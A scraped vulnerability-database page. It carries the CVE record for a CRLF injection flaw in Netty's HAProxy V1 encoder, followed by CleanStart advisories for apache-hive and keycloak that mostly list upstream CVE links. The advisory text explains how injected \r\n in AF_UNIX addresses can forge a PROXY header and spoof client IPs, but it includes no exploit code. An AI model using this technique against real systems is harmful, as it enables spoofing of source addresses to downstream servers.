Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-59919 (GCVE-0-2026-59919)
Vulnerability from cvelistv5 – Published: 2026-07-29 17:37 – Updated: 2026-07-29 18:06
VLAI
EPSS
VEX
Title
Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address
Summary
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's HAProxy encoder ( HAProxyMessageEncoder ) writes AF_UNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AF_UNIX address can inject \r\n sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AF_UNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Severity
5.5 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-29 18:05 UTC
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-59919",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-29T18:05:59.358522Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-29T18:06:11.495Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003c 4.1.136.Final"
},
{
"status": "affected",
"version": "\u003e= 4.2.0.Final, \u003c 4.2.16.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty\u0027s HAProxy encoder (\u00a0HAProxyMessageEncoder\u00a0) writes AF_UNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AF_UNIX address can inject \u00a0\\r\\n\u00a0 sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AF_UNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-29T17:37:49.812Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
}
],
"source": {
"advisory": "GHSA-wh89-7897-x99h",
"discovery": "UNKNOWN"
},
"title": "Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-59919",
"datePublished": "2026-07-29T17:37:49.812Z",
"dateReserved": "2026-07-07T18:20:06.125Z",
"dateUpdated": "2026-07-29T18:06:11.495Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-59919",
"date": "2026-09-11",
"epss": "0.00139",
"percentile": "0.03587"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-59919\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-29T18:16:56.610\",\"lastModified\":\"2026-08-06T20:33:28.940\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty\u0027s HAProxy encoder (\u00a0HAProxyMessageEncoder\u00a0) writes AF_UNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AF_UNIX address can inject \u00a0\\\\r\\\\n\u00a0 sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AF_UNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"netty\",\"product\":\"netty\",\"versions\":[{\"version\":\"\u003c 4.1.136.Final\",\"status\":\"affected\"},{\"version\":\"\u003e= 4.2.0.Final, \u003c 4.2.16.Final\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N\",\"baseScore\":5.5,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":1.8,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-29T18:05:59.358522Z\",\"id\":\"CVE-2026-59919\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-93\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"4.1.136\",\"matchCriteriaId\":\"3A15093F-C6A7-4FCF-81BA-939CD522D1DD\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"4.2.0\",\"versionEndExcluding\":\"4.2.16\",\"matchCriteriaId\":\"4DE4BC35-4405-49B5-A2A8-A700C7F63C8B\"}]}]}],\"references\":[{\"url\":\"https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
"redhat_vex": {
"aggregate_severity": "Moderate",
"current_release_date": "2026-07-29T19:04:18+00:00",
"cve": "CVE-2026-59919",
"id": "CVE-2026-59919",
"initial_release_date": "2026-07-09T00:00:00+00:00",
"product_status:known_affected": "39",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "io.netty/netty-codec-haproxy: Netty: Improper CR/LF neutralization in netty-codec-haproxy",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-59919.json",
"version": "3"
},
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-59919\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-29T18:05:59.358522Z\"}}}], \"references\": [{\"url\": \"https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-29T18:05:08.401Z\"}}], \"cna\": {\"title\": \"Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address\", \"source\": {\"advisory\": \"GHSA-wh89-7897-x99h\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 5.5, \"attackVector\": \"LOCAL\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"netty\", \"product\": \"netty\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 4.1.136.Final\"}, {\"status\": \"affected\", \"version\": \"\u003e= 4.2.0.Final, \u003c 4.2.16.Final\"}]}], \"references\": [{\"url\": \"https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h\", \"name\": \"https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty\u0027s HAProxy encoder (\\u00a0HAProxyMessageEncoder\\u00a0) writes AF_UNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AF_UNIX address can inject \\u00a0\\\\r\\\\n\\u00a0 sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AF_UNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-93\", \"description\": \"CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-29T17:37:49.812Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-59919\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-29T18:06:11.495Z\", \"dateReserved\": \"2026-07-07T18:20:06.125Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-29T17:37:49.812Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
cleanstart-2026-cl03013
Vulnerability from cleanstart
Published
2026-09-10 03:06
Modified
2026-09-09 04:27
Summary
Netty is an asynchronous, event-driven network application framework
Details
Multiple security vulnerabilities affect the apache-hive package. Netty is an asynchronous, event-driven network application framework. See references for individual vulnerability details.
Severity
9.8 (Critical)
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "apache-hive"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.1-r8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the apache-hive package. Netty is an asynchronous, event-driven network application framework. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-CL03013",
"modified": "2026-09-09T04:27:47Z",
"published": "2026-09-10T03:06:42.413829Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-CL03013.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-1428"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-7254"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-33042"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-48924"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-59250"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-62728"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-10050"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-12185"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2332"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45292"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-49844"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-55851"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-56817"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59639"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59642"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59645"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59647"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59650"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59651"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59901"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59902"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59903"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59919"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-6790"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-8763"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r7wm-3cxj-wff9"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1428"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7254"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33042"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59250"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62728"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10050"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12185"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2332"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45292"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49844"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55851"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56817"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59639"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59642"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59645"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59647"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59650"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59651"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59901"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59902"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59903"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59919"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6790"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8763"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty is an asynchronous, event-driven network application framework",
"upstream": [
"CVE-2023-1428",
"CVE-2024-7254",
"CVE-2025-33042",
"CVE-2025-48924",
"CVE-2025-55163",
"CVE-2025-59250",
"CVE-2025-62728",
"CVE-2026-10050",
"CVE-2026-12185",
"CVE-2026-2332",
"CVE-2026-45292",
"CVE-2026-49844",
"CVE-2026-55851",
"CVE-2026-56817",
"CVE-2026-59639",
"CVE-2026-59642",
"CVE-2026-59645",
"CVE-2026-59647",
"CVE-2026-59650",
"CVE-2026-59651",
"CVE-2026-59901",
"CVE-2026-59902",
"CVE-2026-59903",
"CVE-2026-59919",
"CVE-2026-6790",
"CVE-2026-8763",
"ghsa-r7wm-3cxj-wff9"
]
}
cleanstart-2026-jy79008
Vulnerability from cleanstart
Published
2026-09-10 03:03
Modified
2026-09-09 04:29
Summary
Improper encoding of non-finite floating-point values during MapMessage JSON serialization in Apache Log4j API produces output that is not valid JSON
Details
Multiple security vulnerabilities affect the apache-hive package. Improper encoding of non-finite floating-point values during MapMessage JSON serialization in Apache Log4j API produces output that is not valid JSON. See references for individual vulnerability details.
Severity
9.8 (Critical)
References
| URL | Type | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "apache-hive"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0-r12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the apache-hive package. Improper encoding of non-finite floating-point values during MapMessage JSON serialization in Apache Log4j API produces output that is not valid JSON. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-JY79008",
"modified": "2026-09-09T04:29:22Z",
"published": "2026-09-10T03:03:42.333504Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-JY79008.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-33042"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-41242"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-59250"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-12185"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-22745"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-40563"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41603"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41720"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41848"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41850"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41851"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41852"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-43869"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45292"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-49844"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-50193"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54512"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54513"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54514"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54515"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-55851"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-57914"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59639"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59642"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59645"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59647"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59650"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59651"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59889"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59901"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59919"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-8763"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2r2c-cx56-8933"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-47qp-hqvx-6r3f"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mhm7-754m-9p8w"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r7wm-3cxj-wff9"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33042"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41242"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59250"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12185"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22745"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40563"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41603"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41720"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41848"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41850"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41851"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41852"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43869"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45292"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49844"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50193"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54512"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54513"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54514"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54515"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55851"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57914"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59639"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59642"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59645"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59647"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59650"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59651"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59889"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59901"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59919"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8763"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper encoding of non-finite floating-point values during MapMessage JSON serialization in Apache Log4j API produces output that is not valid JSON",
"upstream": [
"CVE-2025-33042",
"CVE-2025-41242",
"CVE-2025-55163",
"CVE-2025-59250",
"CVE-2026-12185",
"CVE-2026-22745",
"CVE-2026-40563",
"CVE-2026-41603",
"CVE-2026-41720",
"CVE-2026-41848",
"CVE-2026-41850",
"CVE-2026-41851",
"CVE-2026-41852",
"CVE-2026-43869",
"CVE-2026-45292",
"CVE-2026-49844",
"CVE-2026-50193",
"CVE-2026-54512",
"CVE-2026-54513",
"CVE-2026-54514",
"CVE-2026-54515",
"CVE-2026-55851",
"CVE-2026-57914",
"CVE-2026-59639",
"CVE-2026-59642",
"CVE-2026-59645",
"CVE-2026-59647",
"CVE-2026-59650",
"CVE-2026-59651",
"CVE-2026-59889",
"CVE-2026-59901",
"CVE-2026-59919",
"CVE-2026-8763",
"ghsa-2r2c-cx56-8933",
"ghsa-47qp-hqvx-6r3f",
"ghsa-mhm7-754m-9p8w",
"ghsa-r7wm-3cxj-wff9"
]
}
cleanstart-2026-jz16335
Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-09-04 12:17
Summary
Security fixes in keycloak 26.6.4-r2
Details
Package keycloak version 26.6.4-r2 fixes 4 vulnerabilities: ghsa-r7wm-3cxj-wff9, CVE-2026-55851, CVE-2026-59919, CVE-2026-55831
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "keycloak"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.6.4-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"26.6.4-r2"
]
}
],
"credits": [],
"database_specific": {},
